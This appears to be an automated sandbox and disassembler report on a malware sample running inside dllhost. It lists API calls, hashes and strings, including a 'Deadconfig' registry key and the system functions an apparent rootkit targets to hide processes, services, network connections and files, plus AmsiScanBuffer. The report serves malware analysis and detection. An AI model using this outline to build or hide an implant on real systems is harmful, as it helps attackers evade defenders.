Part of subcall function 000002E86A0912BC: lstrlenW.KERNEL32 ref: 000002E86A091421
Part of subcall function 000002E86A0912BC: GetProcessHeap.KERNEL32 ref: 000002E86A09142F
Part of subcall function 000002E86A0912BC: HeapAlloc.KERNEL32 ref: 000002E86A09143D

Strings

SOFTWARE\Deadconfig, xrefs: 000002E86A091692
paths, xrefs: 000002E86A091788
udp, xrefs: 000002E86A091874
tcp_remote, xrefs: 000002E86A091839
startup, xrefs: 000002E86A0916D5
process_names, xrefs: 000002E86A09174D
pid, xrefs: 000002E86A091712
tcp_local, xrefs: 000002E86A0917FE
service_names, xrefs: 000002E86A0917C3

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: 3c9f88c4e611def4966ea6c7bc907f8e811a6cd1a12b3cead08829c3b5cd9a3a
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: 1F713C36350A90C6EF50AF25E898B9973BCF789B88F002151DE8E53B69DF38C494C352

Function 000002E86A091D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000002E86A091D47

Part of subcall function 000002E86A0920C0: GetModuleHandleA.KERNEL32(?,?,?,000002E86A091D79), ref: 000002E86A0920D8
Part of subcall function 000002E86A0920C0: GetProcAddress.KERNEL32(?,?,?,000002E86A091D79), ref: 000002E86A0920E9

Part of subcall function 000002E86A095F50: GetCurrentThreadId.KERNEL32 ref: 000002E86A095F8B

Strings

EnumServicesStatusExW, xrefs: 000002E86A091E39, 000002E86A091E5A
NtQuerySystemInformation, xrefs: 000002E86A091D6D
NtResumeThread, xrefs: 000002E86A091D8A
NtEnumerateKey, xrefs: 000002E86A091DE1
EnumServiceGroupW, xrefs: 000002E86A091E18
NtEnumerateValueKey, xrefs: 000002E86A091DFE
NtDeviceIoControlFile, xrefs: 000002E86A091E7E
ntdll.dll, xrefs: 000002E86A091D55
PdhGetFormattedCounterArrayW, xrefs: 000002E86A091EB9
advapi32.dll, xrefs: 000002E86A091E1F, 000002E86A091E40
sechost.dll, xrefs: 000002E86A091E61
PdhGetRawCounterArrayW, xrefs: 000002E86A091E98
AmsiScanBuffer, xrefs: 000002E86A091EDA
NtQueryDirectoryFile, xrefs: 000002E86A091DA7
NtQueryDirectoryFileEx, xrefs: 000002E86A091DC4
pdh.dll, xrefs: 000002E86A091E9F, 000002E86A091EC0
amsi.dll, xrefs: 000002E86A091EE1

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: 18358b6203f5e2b1fdb126c81a860b681417304772fb09d220cec99abb3af511
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: 864186A4191ACAE1FE00DB54E8597D4232DA758344F9064D396CD231B7AF3886DEC363

Function 000002E86A0912BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002E86A091319
GetProcessHeap.KERNEL32 ref: 000002E86A091327
HeapAlloc.KERNEL32 ref: 000002E86A091338
RegEnumValueW.ADVAPI32 ref: 000002E86A091397

Part of subcall function 000002E86A09152C: StrCmpIW.SHLWAPI ref: 000002E86A09155D

GetProcessHeap.KERNEL32 ref: 000002E86A0913DF
HeapAlloc.KERNEL32 ref: 000002E86A0913ED
GetProcessHeap.KERNEL32 ref: 000002E86A09140A
HeapFree.KERNEL32 ref: 000002E86A091418
lstrlenW.KERNEL32 ref: 000002E86A091421
GetProcessHeap.KERNEL32 ref: 000002E86A09142F
HeapAlloc.KERNEL32 ref: 000002E86A09143D
StrCpyW.SHLWAPI ref: 000002E86A09145F
GetProcessHeap.KERNEL32 ref: 000002E86A091476
HeapFree.KERNEL32 ref: 000002E86A091484

Strings

d, xrefs: 000002E86A09135A

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction ID: 9714eba41610e2fcbb448aa014dcdf8643b29c08d50d6a7a6d90ea1e36dd9f7a
Opcode Fuzzy Hash: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction Fuzzy Hash: 22512836654B84C6EF54CF62E44C39AB7A9F788BD8F448164DA8A07759DF3CC0898B02

Function 000002E86A066D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002E86A066D58
__scrt_acquire_startup_lock.LIBCMT ref: 000002E86A066DAA
_RTC_Initialize.LIBCMT ref: 000002E86A066DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002E86A066DFE
__scrt_release_startup_lock.LIBCMT ref: 000002E86A066E29

Strings

bad array new length, xrefs: 000002E86A066E5B

Memory Dump Source

Source File: 00000006.00000003.2003027264.000002E86A060000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002E86A060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e86a060000_dllhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 1cf23eebf528e7e8016fe3c885fc5f0ee74e89b00244606404ef65e80f8ef7d0
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 63810521A802C1C6FF68EB25D85DB5927DCAB59B88F4465D5EACC437A6DF38C8C18703

Function 000002E86A092FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000002E86A092FF5
GetProcessHeap.KERNEL32 ref: 000002E86A09300A
HeapAlloc.KERNEL32 ref: 000002E86A093018
PdhGetCounterInfoW.PDH ref: 000002E86A09302E
StrCmpW.SHLWAPI ref: 000002E86A093043

Part of subcall function 000002E86A093558: StrCmpNW.SHLWAPI ref: 000002E86A09357A
Part of subcall function 000002E86A093558: StrStrW.SHLWAPI ref: 000002E86A093594
Part of subcall function 000002E86A093558: StrToIntW.SHLWAPI ref: 000002E86A0935BB

GetProcessHeap.KERNEL32 ref: 000002E86A093080
HeapFree.KERNEL32 ref: 000002E86A09308E

Strings

\GPU Engine(*)\Running Time, xrefs: 000002E86A09303C

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: 5694a66559aa247a2245d7d4c821963cda3c95c0d4fb7072ce1d25151a6824a9
Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: 64319322644AC1D6EF10CF22E80C35AE3A8F7CCB95F444569EF8D53625DF38C4958B42

Function 000002E86A0930B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000002E86A09310E
GetProcessHeap.KERNEL32 ref: 000002E86A09311F
HeapAlloc.KERNEL32 ref: 000002E86A09312D
PdhGetCounterInfoW.PDH ref: 000002E86A093143
StrCmpW.SHLWAPI ref: 000002E86A093158

Part of subcall function 000002E86A093558: StrCmpNW.SHLWAPI ref: 000002E86A09357A
Part of subcall function 000002E86A093558: StrStrW.SHLWAPI ref: 000002E86A093594
Part of subcall function 000002E86A093558: StrToIntW.SHLWAPI ref: 000002E86A0935BB

GetProcessHeap.KERNEL32 ref: 000002E86A093185
HeapFree.KERNEL32 ref: 000002E86A093193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000002E86A093151

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: 9a63027a97c8cb5e03307b7a32ef25ae6586f2a81e0121300653bfaf8829ada0
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: A7319C26690B81C6EF50DF22E84C75AE3A9F788F84F045169DE8E53725DF38C4868B02

Function 0000000140002168 Relevance: 13.6, APIs: 9, Instructions: 103memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0000000140002184
SysAllocString.OLEAUT32 ref: 0000000140002194
CoInitializeEx.OLE32 ref: 00000001400021A1
CoInitializeSecurity.OLE32 ref: 00000001400021D8
CoCreateInstance.OLE32 ref: 000000014000221D
VariantInit.OLEAUT32 ref: 000000014000222F
CoUninitialize.OLE32 ref: 00000001400022C8
SysFreeString.OLEAUT32 ref: 00000001400022D1
SysFreeString.OLEAUT32 ref: 00000001400022DA

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 831a2a0f55e8d386c7426dcae08b7aa8164f11a8022bfa627c109503adaa93c3
Instruction ID: 86c03c420342539b8bf9be77ba5813866d3cf1bda528b0c751ba45b02f4c66c8
Opcode Fuzzy Hash: 831a2a0f55e8d386c7426dcae08b7aa8164f11a8022bfa627c109503adaa93c3
Instruction Fuzzy Hash: F04135B6700A859AE711CF6AE8443DD63B1FB88B98F445226FF4A57A69DF38C149C700

Function 000002E86A092C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238librarystringloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000002E86A092CB8
GetProcAddress.KERNEL32 ref: 000002E86A092CCD
StrCmpNIW.SHLWAPI ref: 000002E86A092D10
lstrlenW.KERNEL32 ref: 000002E86A092E39

Strings

\Device\Nsi, xrefs: 000002E86A092D03
NtQueryObject, xrefs: 000002E86A092CC3
ntdll.dll, xrefs: 000002E86A092CB1

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProclstrlen
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3607816002-3850299575
Opcode ID: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction ID: 1d977dac165b853bfd0220ff567d4071db398c797d484a0947ea38bd9cdf7e34
Opcode Fuzzy Hash: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction Fuzzy Hash: 37A1AA32241AD0C2EF688F25D4587A963ADF748B88F1460A6DE8D63B99DF34CCD1C742

Function 000002E86A09104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002E86A0910B1
RegEnumValueW.ADVAPI32 ref: 000002E86A091117
GetProcessHeap.KERNEL32 ref: 000002E86A09115C
HeapAlloc.KERNEL32 ref: 000002E86A09116A
GetProcessHeap.KERNEL32 ref: 000002E86A091187
HeapFree.KERNEL32 ref: 000002E86A091195

Strings

d, xrefs: 000002E86A0910D6

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction ID: 7bf26b8adeb3c3f6e9b9082396e2f944c2df80b3c31d3e32d7267be9ab6928d3
Opcode Fuzzy Hash: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction Fuzzy Hash: F9416D36254BC0D6EF60CF62E44879AB7A9F388B88F448119DB8917B58DF38C589CB41

Function 000000014000104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400010B1
RegEnumValueW.ADVAPI32 ref: 0000000140001117
GetProcessHeap.KERNEL32 ref: 000000014000115C
HeapAlloc.KERNEL32 ref: 000000014000116A
GetProcessHeap.KERNEL32 ref: 0000000140001187
HeapFree.KERNEL32 ref: 0000000140001195

Strings

d, xrefs: 00000001400010D6

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: def9ab36c73bc2c092c582bab6e8daf38f60056bdd0c450b3e3dd155ebbb66df
Instruction ID: 7fdcaaddb988183a15ff78551661fc8e226b340177abaf4a23510fd888a8b97b
Opcode Fuzzy Hash: def9ab36c73bc2c092c582bab6e8daf38f60056bdd0c450b3e3dd155ebbb66df
Instruction Fuzzy Hash: 8A414DB2214B8086E765CF62F4447DA77A1F389BD8F448119EB8947B68DF38C589CB40

Function 000002E86A092344 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002E86A092359
GetCurrentProcessId.KERNEL32 ref: 000002E86A092363
CreateFileW.KERNEL32 ref: 000002E86A092394
WriteFile.KERNEL32 ref: 000002E86A0923BC
ReadFile.KERNEL32 ref: 000002E86A0923DB
CloseHandle.KERNEL32 ref: 000002E86A0923E4

Strings

\\.\pipe\Deadchildproc, xrefs: 000002E86A092375

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\Deadchildproc
API String ID: 166002920-2259481039
Opcode ID: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction ID: 6d563a3eafda5c429282bad5d07c7d2543e9d8c79a4ab07de1c01bcf16b234d1
Opcode Fuzzy Hash: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction Fuzzy Hash: 30111C36654B80C3EF108B21F45875AB764F389BD4F544355EB9E06AA8CF7CC189CB02

Function 000002E86A097930 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002E86A097958
__scrt_acquire_startup_lock.LIBCMT ref: 000002E86A0979AA
_RTC_Initialize.LIBCMT ref: 000002E86A0979D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002E86A0979FE
__scrt_release_startup_lock.LIBCMT ref: 000002E86A097A29

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 0eed170ab5aa101588b27b9db0a6ebb59a6913746aadc0f097baa1071494e4ba
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: B481E2227842C1C6FF50AB65D84D39962DCAB89B80F146095EACDA7797DF38C9C58703

Function 000002E86A099930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002E86A099AEF,?,?,?,000002E86A0998B4,?,?,?,?,000002E86A0994A5), ref: 000002E86A0999B5
GetLastError.KERNEL32(?,?,?,000002E86A099AEF,?,?,?,000002E86A0998B4,?,?,?,?,000002E86A0994A5), ref: 000002E86A0999C3
LoadLibraryExW.KERNEL32(?,?,?,000002E86A099AEF,?,?,?,000002E86A0998B4,?,?,?,?,000002E86A0994A5), ref: 000002E86A0999ED
FreeLibrary.KERNEL32(?,?,?,000002E86A099AEF,?,?,?,000002E86A0998B4,?,?,?,?,000002E86A0994A5), ref: 000002E86A099A33
GetProcAddress.KERNEL32(?,?,?,000002E86A099AEF,?,?,?,000002E86A0998B4,?,?,?,?,000002E86A0994A5), ref: 000002E86A099A3F

Strings

api-ms-, xrefs: 000002E86A0999D5

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: e3e8d481a2e23dc3d2457e9b81cf46c51ebd539b8ba2b08b70b9941ec2792998
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: 5531D7313527C0D5EE159B06E808799639CF748BE4F591665DEAD2B3A1DF38C4C5C342

Function 000002E86A0A1CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002E86A0A1CED
GetLastError.KERNEL32 ref: 000002E86A0A1CF9
CloseHandle.KERNEL32 ref: 000002E86A0A1D11
CreateFileW.KERNEL32 ref: 000002E86A0A1D3C
WriteConsoleW.KERNEL32 ref: 000002E86A0A1D5B

Strings

CONOUT$, xrefs: 000002E86A0A1D1D

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: 2919d81719b8de0907775bd794dcad07a0b3941d95edc88c3eefc9e6cca3f40d
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: 05118F31350BC0C6EF508B52E858719B2A8F788FE4F044265EF9E877A6DF78C8848746

Function 0000000140001794 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00000001400017C8
RegDeleteKeyW.ADVAPI32 ref: 00000001400017D9
RegEnumKeyExW.ADVAPI32 ref: 0000000140001816
RegCloseKey.ADVAPI32 ref: 0000000140001827
RegDeleteKeyExW.ADVAPI32 ref: 0000000140001844

Strings

SOFTWARE\Deadconfig, xrefs: 00000001400017BA, 0000000140001830

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\Deadconfig
API String ID: 3013565938-1882574680
Opcode ID: 52927092f250c1abcc012ba980f00c3e647031339fe99cddc7972e625cf8ff0d
Instruction ID: 6458ae0190dc3c7e9ac23c9118509b32cf476b90947138c69e15ec66821d85a4
Opcode Fuzzy Hash: 52927092f250c1abcc012ba980f00c3e647031339fe99cddc7972e625cf8ff0d
